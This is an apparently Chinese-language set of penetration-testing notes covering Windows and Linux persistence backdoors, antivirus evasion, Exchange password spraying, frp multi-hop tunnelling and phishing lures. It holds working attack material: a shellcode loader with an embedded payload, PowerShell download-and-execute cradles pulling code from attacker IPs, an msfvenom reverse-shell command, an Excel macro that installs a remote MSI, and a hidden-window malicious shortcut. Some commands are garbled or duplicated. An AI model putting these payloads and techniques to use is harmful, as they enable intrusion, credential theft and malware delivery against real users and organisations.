4、windows系统创建隐藏账户,加$
5、shift后门,粘滞键修改弹cmd
6、创建计划任务
schtasks /create /S 目录主机IP /TN 任务名 /SC 启动时间 /TR 指定运行程序和路径 /RU 指定运行权限 /F 强制执行
schtasks /run /S 目标主机IP /i /TN “任务名”
7、进程迁移 migrate
8、SSH软连接后门
In -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=5555;
原理
,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0 (root)即可成功认证登陆9、linux定时任务corntab
10、dll劫持服务
免杀
1、msfvenom多重编码
2、upx加壳
3、shellter,开源免杀工具
4、ccharp编译修改mimikataz特征文件及文字内容绕过360
5、c#再编译调用system.Manegment.Aotumation隐藏powershell进程免杀,原理是利用其他进程使用powershell的能力,但是不在进程调用powershell从而免杀,绕过拦截powershell的规则
cs免杀
HanzoInjection免杀
hanzoijection是一个工具,它专注于在内存中注入任意代码,以绕过常见的防病毒解决方案
下载地址:
https://github.com/P0cL4bs/hanzoInjection
参数选项:
OPTION 类型 描述
-e,--execute [.raw] 文件名 file.bin, payload metasploit type raw
-p,--payload [.raw] 有效载荷METPREPRETER类型[RAW]请求参数-O[输出]
-o,--output [file.cs] 输出生成项目文件.CS注入内存有效载荷C#
-h,--help [Help] show this help and exit
示例:
HanzoInjection.exe -e payload_meterpreter.bin
HanzoInjection.exe -p meterpreter.bin -o injection_memory.cs
CS生成二进制文件
将文件放到靶机上执行
靶机上线,火绒没报毒
Invoke-PSImage免杀
Invoke-PSImage可以将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件或Web(传递-Web标记)执行它们。
它会利用图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,虽然图片质量会受到影响,但是一般来说是看不出来有多大区别的。图片需要存储为PNG格式,由于Payload数据存储在颜色值中,因此这种格式可以进行无损压缩并且不会影响到Payload的执行。它可以接受目前绝大多数的图片类型作为输入,但输出必须为PNG格式,因为输出的图片数据需要是无损的。
图片的每一个像素都需要存储脚本的一个字节,所以你需要根据脚本中的字节数据大小来选择图片(尽可能多的像素点)。例如,Invoke-Mimikatz需要一张1920×1200的图片来存储。
下载地址:
https://github.com/peewpw/Invoke-PSImage
用法:
-Script [filepath] 要嵌入到图像中的脚本的路径。
-Out [filepath] 将生成的图像保存到的文件(图像将是PNG)
-Image [filepath] 要在其中嵌入脚本的图像。(可选)
-WebRequest 输出用于使用Net.WebClient从web读取图像的命令。您需要承载图像并将URL插入到命令中。
-PictureBox 输出用于使用System.Windows.Forms.PictureBox从web读取图像的命令。您需要承载图像并将URL插入到命令中。
Example
PS>Import-Module .\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg [Oneliner to execute from a file]
我们需要一个比较大的图片1920*1200
进入cmd执行命令
Powershell -ExecutionPolicy Bypass
导入脚本
Import-Module .\Invoke-PSImage.ps1
然后用CS生成后门选择powershell
然后将payload的内容转存到图片中
Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web
成功之后就会给我们一个利用代码
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/test2.png"));\$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
http://example.com/evil.png 这个地方就要填写我们刚才生成的文件图片的地址
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.81.133:80/test2.png"));\$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
复制
然后我们拿到powershell上边去执行
python生成免杀
首先要生成一个python的后门
需要通过一个模板将payload转换以下
from ctypes import *
import ctypes
# length: 799 bytes
buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x39\x30\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x47\x35\x75\x6b\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x41\x52\x4a\x53\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x38\x31\x2e\x31\x33\x33\x00\x00\x00\x00\x00"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 1:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
需要python2.7 86位的,安装PyInstaller库
pip install PyInstaller-3.5
生成exe文件
pyinstaller -F decode.py
已经过不了火绒了= =
Veil免杀
Veil的使用
Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目。利用它我们可以生成绕过杀软的 payload
官网
https://github.com/Veil-Framework/Veil
安装
http://www.kryst4l.cn/2021/12/12/%E5%AE%89%E8%A3%85Veil/
生成payload
选择payload Generator 选择Veil
使用Veil进行免杀
使用veil命令进入veil
veil
使用模式1,Evasion
use 1
我们可以用list查看有什么模块可以使用
然后我们选择模块17进行免杀
use 17
然后generate生成,选择3自定义shellcode,将我们cs生成的payload粘贴进去
然后给payload起个名字,veil就会在/var/lib/veil/output/compiled/目录下自动生成exe
13模块亲测可以过360不能过火绒
mimikataz免杀思路
1、去特征,图标,关键字信息等。
2、有源码,将需要用的模块单独拿出来,修改函数名为随机字符等。
https://www.bilibili.com/read/cv13093516/
Exchange攻击
Exchange服务发现和信息搜集
1、利用SPN服务发现Exchange服务
AD域的每个服务都对应一个SPN,在内网机器上直接执行setspn.exe即可查询Exchange对应的SPN服务。
setspn.exe -T 域名 -F -Q */* |findstr exchange
2、利用端口扫描发现Exchange服务
3、Exchange内网信息泄露
当访问Exchange某些接口(/owa、/ews、/ecp等)时,将数据包协议降到1.0并删掉Header和Host内澳网,服务器会返回服务器内网IP地址。
4、利用NTLM认证收集信息
5、通过web获取exchange版本(源代码)
Exchange凭证获取
暴力破解:
1、MailSniper
Invoke-PasswordSprayEWS -ExchHostname win2008.xie.com -UserList user.txt -Password P@ss123 -Threads 10 -OutFile .\success-address-list.txt -ExchangeVersion Exchange2007_SP1
2、Eburst
python2 EBurst.py -d 域名 -L user.txt -P pass.txt --ews
PS:除常规爆破外,很多服务会加强验证和限制登录尝试次数,Exchange有很多接口
,接口大部分采用SOAP通信,并不能添加验证码机制,所以基本上使用限制次数,所以使用少量常见的弱口令密码对大量用户进行爆破。
中继Exchange进行提权
获取用户凭证后的信息搜集
域信任攻击
sAMAccountName spoofing在域信任中的利用(林间、林内单双向信任)
https://xz.aliyun.com/t/10673#toc-4
SID History权限维持及域信任攻击
https://www.modb.pro/db/327710
多层跳板
以四层跳板为例:在多层跳板中,每一层都是上一层的客户端,也是它的服务端,拿第一层来说,攻击者 VPS 启动 frps 监听
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = P@ssw0rd123...
然后启动frp
./frps -c frps.ini
在跳板机更改配置文件,并启动
[common]
server_addr = 121.196.173.254
server_port = 7000
token = ocean1234
[http_proxy]
type = tcp
local_ip = 10.10.10.2
remote_port = 8888
local_port = 8888
plugin = socks5
连接远程的 VPS 7000 端口的 Frps 服务,将本机内网 IP 的 8888 端口流量转发出去
然后使用代理去访问,使用 proxifier 工具添加代理
设置好代理之后可以使用隧道去扫描内网 10.10.10.0/24 网段主机
扫描使用的是 Fscan
发现存在内网主机 10.10.10.3 开放 3389 端口
假如我们通过3389弱口令拿到 10.10.10.3 这台主机,但是经过查看后发现它还有第二个网段 10.0.0.4/24
但是目前我们的隧道只能访问到 10.10.10.0/24 这个网段,遂需要搭建第二层通信隧道,这个时候 Debian 既是客户端,也是服务端
修改 Debian 主机的 frp 配置文件
[common]
bind_addr = 10.10.10.2
bind_port = 1111
然后以后每一层都是这个操作
(简单描述,在第几层,设置了什么,做了什么操作,把它变成了什么,以后每一层都是这个操作)
内网工具
Empire4.2
监听、后门生成
https://blog.csdn.net/q20010619/article/details/121915829?spm=1001.2014.3001.5501
信息收集、权限提升、内网探测
https://blog.csdn.net/q20010619/article/details/121941077?spm=1001.2014.3001.5501
cs
基本使用方法、监听器、重定向器,以及通过重定向器隐藏C2服务器
https://blog.csdn.net/q20010619/article/details/121611405?spm=1001.2014.3001.5501
攻击模块、会话管理、CS-MSF联动
https://blog.csdn.net/q20010619/article/details/121634983?spm=1001.2014.3001.5501
钓鱼攻击
https://blog.csdn.net/q20010619/article/details/121661703?spm=1001.2014.3001.5501
鱼叉钓鱼攻击(钓鱼邮件)
https://blog.csdn.net/q20010619/article/details/121685768?spm=1001.2014.3001.5501
Bypass UAC、CVE提权、Powerup提权
https://blog.csdn.net/q20010619/article/details/121733533?spm=1001.2014.3001.5501
域内渗透&横向扩展
https://blog.csdn.net/q20010619/article/details/121733578?spm=1001.2014.3001.5501
获取信任、凭证、哈希认证、Kerberos票据、横向移动
https://blog.csdn.net/q20010619/article/details/121755856?spm=1001.2014.3001.5501
socks转发、ssh隧道、CS转发监听器
https://blog.csdn.net/q20010619/article/details/121780082?spm=1001.2014.3001.5501
免杀
https://blog.csdn.net/q20010619/article/details/121801517?spm=1001.2014.3001.5501
内网遇到不出网机器
1、边界机不出网
知道边界机不出网的前提肯定是拿到了shell并且连上了shell,通过ping或者dnslog知道这台主机不出网,但是它内网映射到外网的端口肯定是可以出网的,找到用reg做http正向代理。
2、单纯内网机器不出网
知道了内网机器不出网,肯定是拿到了这台机器内网网站的shell,或者已经连接了ssh或者rdp,我们寻找出网机的目的就是为了做权限维持,既然我们登录到了这台不出网机器,那么我们手里肯定有一台可以连到这台不出网机器的出网的内网机器,这时候可以在cs上建立一个smb监听,然后把不出网机器上到我们控制的出网机器,或者做reg代理。
怎么查域控
1.net view
net view /domain
2.set log
set log
3.通过srv记录查看域控制器的主机名
nslookup -type=SRV _ldap._tcp.corp
4.使用nltest查看域控制器的机器名
nltest /dclist
5.使用dsquery
DsQuery Server -domain corp
6.使用netdom
netdom query pdc
7.net time /domain
8.查看域控制器组
net group "domain controllers" /domain
工作组下定位域控
873端口 rsyns服务(未授权)
为什么ntlm协议可以中继,kerberos协议不可以中继
ntlm没有校验接收方和发送方的能力,只是验证发来的net-ntlmhash相关的response是否相同。
常见内网可利用端口
21: FTP文件传输协议
22: SSH远程连接
23: TELNET远程登录
25: SMTP邮件服务
53: DNS域名系统
80: HTTP超文本传输协议
88: KDC
389: LDAP
443: HTTPS安全超文本传输协议
464: KDC
1433:MSSQL
1521: Oracle
2181:zookeeper(未授权)
3306:MYSQL
3389:windows远程桌面服务端口
6379:redis
7001:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认8080
9000:hbase、Hadoop(未授权)
9001:fastcgi
9100:域内打印机(nc连接,hp打印机使用PJL命令FSQUERY 和 FSUPLOAD遍历服务器目录,检索密码,写入文件。Ricoh打印机win系统驱动程序提权)
钓鱼攻击
1、Office钓鱼(需右击打开)
Office宏,译自英文单词Macro。宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。而宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。
Visual Basic for Applications ( VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows 的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic脚本。
1、CS生成宏:
Attacks->Packages->MS Office Macro->copy宏
2、创建宏病毒
开发工具->宏->宏的位置->创建->粘贴代码->Auto_Open->保存->否->另存为dotm文件
2、利用Docx文档远程模板注入执行宏
这种攻击更常见的原因是,发送的文档本身是不带恶意代码的,能过很多静态的检测。
方法:
想要开始此攻击,我们需要创建两个不同的文件。第一个是启用宏的模板,或是.dotm,文件,它将包含恶意VBA宏。第二个是看似没有危害的.docx.,文件,它本身不包含恶意代码,只有指向恶意模板文件的目标链接。
1、类似上一个:创建docx文件->开发工具->Visual Basic。。。。保存为dotm文件
2、在dotm所在文件夹搭建vps,并可以访问,复制url (http://ip/aaa.dotm)
3、新建docx,修改为压缩包,打开,在word->_rels->settings.xml.rels
4、将第2步复制的url粘贴进此处
5、保存,重新压缩成压缩包,再修改后缀名docx文件
6、伪造成简历可发hr,如成功启动宏,则上线cs
3、利用Excel规避宏检测
1、metasplosit生成msi文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.180 lport=1234 -f msi -o hack.msi
2、将生成好的hack.msi放到远程的服务器上,并在msf设置监听器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcpset lhost 192.168.0.180
set lport 1234
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcpset lhost 192.168.0.180
set lport 1234
exploit -j
3、打开Excel底部右键插入宏表
4、在单元格添加执行命令
=EXEC("msiexec /q /i http://192.168.0.180/hack.msi")
=HALT()
5、并更改单元格名为Auto_Open,此时Excel被打开时,自动运行宏
6、右键隐藏代码
7、保存->否->另存为
4、link快捷方式钓鱼
制作:
在桌面创建快捷方式右键目标填写payload:
C:\Windows\System32\WindowsPowerShellv1.0powershell.exe -nop -w hidden -c"IEX ((new-object net.webclient). downloadstring('http://192.168.0.180:80/a'))"
为了让快捷方式伪装的像诱导文件,可以选择更改图标%SystemRoot%lSystem32\SHELL32.dll